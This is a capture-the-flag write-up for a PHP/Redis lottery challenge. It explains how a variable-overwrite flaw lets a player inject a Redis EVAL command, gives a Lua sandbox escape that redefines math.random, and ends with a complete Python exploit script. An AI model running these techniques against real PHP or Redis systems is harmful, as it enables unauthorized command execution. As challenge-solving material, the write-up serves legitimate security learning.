For this problem you are presented with a web page that lets you start
a redis instance for your team. The actual challenge is at
/luatic.php
which looks like this:
<?php
/* Author: Orange Tsai(@orange_8361) */
include "config.php";
foreach($_REQUEST as $k=>$v) {
if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) )
exit('Shame on you');
}
foreach(Array('_GET','_POST') as $request) {
foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
}
if (strlen($token) == 0) highlight_file(__FILE__) and exit();
if (!preg_match('/^[a-f0-9-]{36}$/', $token)) die('Shame on you');
$guess = (int)$guess;
if ($guess == 0) die('Shame on you');
// Check team token
$status = check_team_redis_status($token);
if ($status == "Invalid token") die('Invalid token');
if (strlen($status) == 0 || $status == 'Stopped') die('Start Redis first');
// Get team redis port
$port = get_team_redis_port($token);
if ((int)$port < 1024) die('Try again');
// Connect, we rename insecure commands
// rename-command CONFIG ""
// rename-command SCRIPT ""
// rename-command MODULE ""
// rename-command SLAVEOF ""
// rename-command REPLICAOF ""
// rename-command SET $MY_SET_COMMAND
$redis = new Redis();
$redis->connect("127.0.0.1", $port);
if (!$redis->auth($token)) die('Auth fail');
// Check availability
$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');
// Lottery!
$LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)";
$seed = random_int(0, 0xffffffff / 2);
$count = random_int(5, 10);
$result = $redis->eval($LUA_LOTTERY, array($seed, $count));
sleep(3); // Slow down...
if ((int)$result === $guess)
die("Congratulations, the flag is $FLAG");
die(":(");
So you’re supposed to provide the query parameters token
and guess
where token
is your team token and guess
is an integer.
If the value returned by the following lua script equals your guess you win!
math.randomseed(ARGV[1])
for i=0, ARGV[2] do
math.random()
end
return math.random(2^31-1)
Note that the arguments are generated in PHP in the ranges [0,
0xffffffff / 2]
and [5, 10]
respectively.
Now, are there any vulnerabilities? The most obvious one is the
following snippet, if we had access to $MY_SET_COMMAND
, $TEST_KEY
and $TEST_VALUE
.
// Check availability
$redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');
Of course, because of the
preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k)
check we can’t set
them directly, but there is a loophole in the second loop, namely, we
can set $_POST
during the first iteration (when $request
is
_GET
) of the loop by sending _POST
as a parameter in the query
string.
foreach(Array('_GET','_POST') as $request) {
foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
}
Fortunately, from the way PHP parses query strings we can set
$_GET['_POST'] == array("k" => "v")
by sending _POST[k]=v
.
This lets us work around the first restriction and set any variable we
want. Running /luatic.php?token=<team token
here>&guess=1&_POST[MY_SET_COMMAND]=DEL
gives use the response
Something Wrong?
which confirms that it works.
Now that we can execute redis commands (with two parameters) it is
time to get the flag. Note that we are done if we can control the
return value of math.random
inside the redis lua engine. Let’s try
to redefine that! We thus need to execute a lua script that replaces
the function, normally you can just do:
function math.random()
return 4
end
But there are two problems:
.
is removed (together with {}[]='"
) in the
second loop in the php script.The first one is easily circumvented by setmetatable(_G, nil)
1
since redis is by design not implementing a proper sandbox 2.
Part 2 is solved by using rawset(table, key, value)
on the math
module (table). Getting key
to equal "random"
can be done by
iterating over all keys of math
in the following way.
for k, v in pairs(math) do
rawset(math, k, function () return 4 end)
end
The complete script is thus
setmetatable(_G, nil)
for k, v in pairs(math) do
rawset(math, k, function () return 4 end)
end
and the redis command becomes
EVAL "setmetatable(_G, nil) for k, v in pairs(math) do rawset(math, k, function() return 4 end) end" 0
After evaluating the above command we send another request with our guess and obtain the flag.
Full solution:
import requests
= 'http://54.250.242.183/luatic.php'
url
= "<YOUR TEAM TOKEN HERE>"
token
= 'setmetatable(_G, nil) \
lua for k, v in pairs(math) \
do rawset(math, k, function() return 4 end) \
end'
def send(script=None, arg1=None, arg2=None):
= {
params 'token': token,
'guess': 4,
}if script:
params.update({'_POST[MY_SET_COMMAND]': script,
'_POST[TEST_KEY]': arg1,
'_POST[TEST_VALUE]': arg2,
})return requests.get(url, params=params).text
if __name__ == '__main__':
"EVAL", lua, "0")
send(print(send())
https://redis.io/commands/eval
↩︎Using Lua debugging functionality or other approaches like altering the meta table used to implement global protections in order to circumvent globals protection is not hard. However it is difficult to do it accidentally.